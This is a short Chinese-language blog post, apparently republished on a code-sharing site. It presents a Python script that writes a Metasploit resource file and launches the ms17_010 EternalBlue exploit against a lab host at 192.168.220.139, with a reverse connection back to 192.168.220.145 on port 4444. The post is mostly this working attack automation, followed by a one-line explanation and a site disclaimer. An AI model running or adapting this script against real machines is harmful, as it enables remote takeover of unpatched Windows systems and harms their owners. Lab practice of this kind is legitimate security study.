Python-實現與metasploit交互並進行ms17_010攻擊


關於ms17_010,可參考http://www.cnblogs.com/sch01ar/p/7672454.html

目標IP:192.168.220.139

本機IP:192.168.220.145

# -*- coding:utf-8 -*-
__author__ = "MuT6 Sch01aR"

import os

def Handler(configFile,lhost,lport,rhost):
    configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + str(lhost) + '\n')
    configFile.write('set RHOST ' + str(rhost) + '\n')
    configFile.write('exploit\n')

def main():
    configFile = open('ms17_010.rc','w')
    lhost = '192.168.220.145'
    lport = 4444
    rhost = '192.168.220.139'
    Handler(configFile,lhost,lport,rhost)
    configFile.close()
    os.system('msfconsole -r ms17_010.rc')
main()

運行結果

通過生成.rc的文件,把相關的msf命令寫入,然后通過msf調用.rc的文件


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM